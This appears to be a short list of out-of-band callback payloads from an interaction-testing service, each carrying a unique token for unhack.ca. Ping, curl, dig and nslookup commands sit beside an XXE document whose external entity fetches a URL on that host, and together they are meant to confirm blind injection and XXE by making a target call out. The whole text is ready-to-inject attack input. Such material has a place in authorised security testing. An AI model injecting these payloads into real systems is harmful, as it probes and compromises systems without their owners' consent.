$ ping -c1 -p 0090a5d5d86023e2302acd5809c6ee00 unhack.ca
 

$ curl http://unhack.ca/p/90a5d5d86023e2302acd5809c6ee
 

$ dig 90a5d5d86023e2302acd5809c6ee @unhack.ca
 

$ dig 90a5d5d86023e2302acd5809c6ee.ns.unhack.ca
 

C:\> nslookup 90a5d5d86023e2302acd5809c6ee unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/90a5d5d86023e2302acd5809c6ee">]>
    <foo>&xxe;</foo>